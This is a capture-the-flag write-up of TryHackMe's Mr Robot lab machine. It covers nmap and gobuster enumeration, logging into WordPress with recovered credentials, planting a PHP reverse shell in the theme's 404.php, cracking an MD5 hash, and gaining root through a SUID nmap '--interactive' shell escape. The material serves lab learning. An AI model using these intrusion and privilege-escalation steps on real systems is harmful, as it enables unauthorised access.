TryHackMe.com’s Mr Robot CTF (MRCTF) is a beginner-friendly capture-the-flag virtual machine by Leon Johnson. MRCTF is named after, and inspired by, the Mr. Robot television show and challenges users to capture three flags by finding vulnerabilities in the target server and exploiting them to gain root access.
I have replaced all instances of the virtual machine’s ip address with
<target-ip> throughout this write-up.
We begin our enumeration efforts by running an
nmap scan on the target machine to understand the ports that are open to network traffic. I usually begin with the TCP SYN “Stealth” Scan (-sS) with “version dection” (
-V) enabled. Here is a list of general
nmap CLI flags.
nmap sudo nmap -sV -v <target-ip> Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-10 12:12 EDT NSE: Loaded 45 scripts for scanning. Initiating Ping Scan at 12:12 Scanning <target-ip> [4 ports] Completed Ping Scan at 12:12, 0.19s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 12:12 Completed Parallel DNS resolution of 1 host. at 12:12, 0.01s elapsed Initiating SYN Stealth Scan at 12:12 Scanning <target-ip> [1000 ports] Discovered open port 443/tcp on <target-ip> Discovered open port 80/tcp on <target-ip> Completed SYN Stealth Scan at 12:12, 9.83s elapsed (1000 total ports) Initiating Service scan at 12:12 Scanning 2 services on <target-ip> Completed Service scan at 12:13, 12.92s elapsed (2 services on 1 host) NSE: Script scanning <target-ip>. Initiating NSE at 12:13 Completed NSE at 12:13, 2.82s elapsed Initiating NSE at 12:13 Completed NSE at 12:13, 1.27s elapsed Nmap scan report for <target-ip> Host is up (0.15s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 443/tcp open ssl/http Apache httpd Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.44 seconds Raw packets sent: 2007 (88.284KB) | Rcvd: 10 (416B)
From this, we learn that an
Apache instance is active on the standard ports, while an ssh server is running on port 22 - though it is closed to network traffic.
Next, we use
gobuster, a popular tool that facilitates brute-force enumeration. Here, we use it in directory mode (
dir) with a popular directory names wordlist (
-w) against our
<target-ip> with (
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u <target-ip> =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://<target-ip> [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/05/10 12:13:27 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 213] /.htaccess (Status: 403) [Size: 218] /.htpasswd (Status: 403) [Size: 218] /0 (Status: 301) [Size: 0] [--> http://<target-ip>/0/] /admin (Status: 301) [Size: 235] [--> http://<target-ip>/admin/] /atom (Status: 301) [Size: 0] [--> http://<target-ip>/feed/atom/] /audio (Status: 301) [Size: 235] [--> http://<target-ip>/audio/] /blog (Status: 301) [Size: 234] [--> http://<target-ip>/blog/] /css (Status: 301) [Size: 233] [--> http://<target-ip>/css/] /dashboard (Status: 302) [Size: 0] [--> http://<target-ip>/wp-admin/] /favicon.ico (Status: 200) [Size: 0] /feed (Status: 301) [Size: 0] [--> http://<target-ip>/feed/] /image (Status: 301) [Size: 0] [--> http://<target-ip>/image/] /Image (Status: 301) [Size: 0] [--> http://<target-ip>/Image/] /images (Status: 301) [Size: 236] [--> http://<target-ip>/images/] /index.html (Status: 200) [Size: 1188] /index.php (Status: 301) [Size: 0] [--> http://<target-ip>/] /intro (Status: 200) [Size: 516314] /js (Status: 301) [Size: 232] [--> http://<target-ip>/js/] /license (Status: 200) [Size: 309] /login (Status: 302) [Size: 0] [--> http://<target-ip>/wp-login.php] /page1 (Status: 301) [Size: 0] [--> http://<target-ip>/] /phpmyadmin (Status: 403) [Size: 94] /readme (Status: 200) [Size: 64] /rdf (Status: 301) [Size: 0] [--> http://<target-ip>/feed/rdf/] /robots (Status: 200) [Size: 41] /robots.txt (Status: 200) [Size: 41] /rss (Status: 301) [Size: 0] [--> http://<target-ip>/feed/] /rss2 (Status: 301) [Size: 0] [--> http://<target-ip>/feed/] /sitemap (Status: 200) [Size: 0] /sitemap.xml (Status: 200) [Size: 0] /video (Status: 301) [Size: 235] [--> http://<target-ip>/video/] /wp-admin (Status: 301) [Size: 238] [--> http://<target-ip>/wp-admin/] /wp-content (Status: 301) [Size: 240] [--> http://<target-ip>/wp-content/] /wp-includes (Status: 301) [Size: 241] [--> http://<target-ip>/wp-includes/] /wp-cron (Status: 200) [Size: 0] /wp-config (Status: 200) [Size: 0] /wp-links-opml (Status: 200) [Size: 227] /wp-load (Status: 200) [Size: 0] /wp-login (Status: 200) [Size: 2613] /wp-mail (Status: 500) [Size: 3064] /wp-settings (Status: 500) [Size: 0] /wp-signup (Status: 302) [Size: 0] [--> http://<target-ip>/wp-login.php?action=register] /xmlrpc (Status: 405) [Size: 42] /xmlrpc.php (Status: 405) [Size: 42] =============================================================== 2022/05/10 12:24:21 Finished ===============================================================
From this, we can be confident that WordPress is installed. This also mirrors what Wappalyzer tells us about the server’s WordPress installation. Let’s investigate some of the more interesting results from our
User-agent: * fsocity.dic key-1-of-3.txt
fsocity.dic is a dictionary wordlist file with many entries. This most likely contains the username and/or password of the WordPress installation.
key-1-of-3.txt has our first flag.
http://<target-ip>/license gives us a text file with the following string hidden at the bottom. At first flance, the string looks a lot like
base64, so let us try to convert it. This could be done via websites like www.base64.decode.org, but I already had Burp Suite open. It works:
and gives us a
Looking through our
gobuster results, we see
http://<target-ip>/wp-login.php, which takes us to a WordPress log-in form. Using the credentials we have just discovered, we log in to the administrator panel.
As WordPress is a multi-media content management system, it should not be too difficult for us to figure out a way to upload a file that will give us RCE (remote code execution). In the past, we have used Pentestmonkey’s PHP reverse shell script.
Unfortunately, the native WordPress media uploader function does not allow us to upload
.php files “for security reasons.” The form won’t accept any variants like
However, we know that WordPress relies on the execution of
.php files to carry out work properly. Thus, we can simply use the platform’s built-in text editor to replace the contents of an existing
.php WordPress page with our reverse shell script. I went ahead and used
404.php, as it is easily accessible and, honestly, it’s just at the top of the list.
That worked nicely! We can then stabilize our shell via python with:
$ python -c 'import pty; pty.spawn("/bin/bash")' daemon@linux:/$
daemon@linux:/$ ls ls bin dev home lib lost+found mnt proc run srv tmp var boot etc initrd.img lib64 media opt root sbin sys usr vmlinuz daemon@linux:/$ cd home cd home daemon@linux:/home$ ls ls robot daemon@linux:/home$ cd robot cd robot daemon@linux:/home/robot$ ls ls key-2-of-3.txt password.raw-md5 daemon@linux:/home/robot$ ls -la ls -la total 16 drwxr-xr-x 2 root root 4096 Nov 13 2015 . drwxr-xr-x 3 root root 4096 Nov 13 2015 .. -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
We can’t read
key-2-of-3.txt yet, but we can access
password.raw-md5 for a hashed version of a password, likely for the
robot user. We can use crackstation.net to crack it, and, if not, probaby John the Ripper.
Luckily, crackstation.net recognizes the hash and gives us the decoded password:
We can now switch users (
robot and read
key-2-of-3.txt. Now that we have gotten the second flag, let’s look to escalate our privileges for
root access and, presumably, the third flag.
As a shortcut to obtaining root access, We can search for system files that have an SUID (Set User ID) bit set. Files with SUID bits allow them to run with the permissions of whomever the owner of the file is. If the owner happens to be
root, it runs with root permissions.
robot@linux:/tmp$ find / -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null /bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/nmap /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown
We see that
/usr/local/bin/nmap, interestingly, has an SUID bit set. Nice.
By checking GTFOBins for
nmap SUID escalations, we see that we can invoke
nmap’s “interactive mode” (available on versions 2.02 to 5.21, which can be used to execute shell commands via
robot@linux:/$ /usr/local/bin/nmap --interactive /usr/local/bin/nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !/bin/sh !/bin/sh # whoami whoami root #
…et voilà! We have root access and, by extension, the third flag.
In retrospect, I would’ve checked my Wappalyzer browser plug-in earlier, which is a good practice to prioritize. It would have spotted that WordPress is installed on the server before the lengthy
gobuster scan, potentially saving time.
Otherwise, this was an enjoyable CTF machine, especially for fans of the show.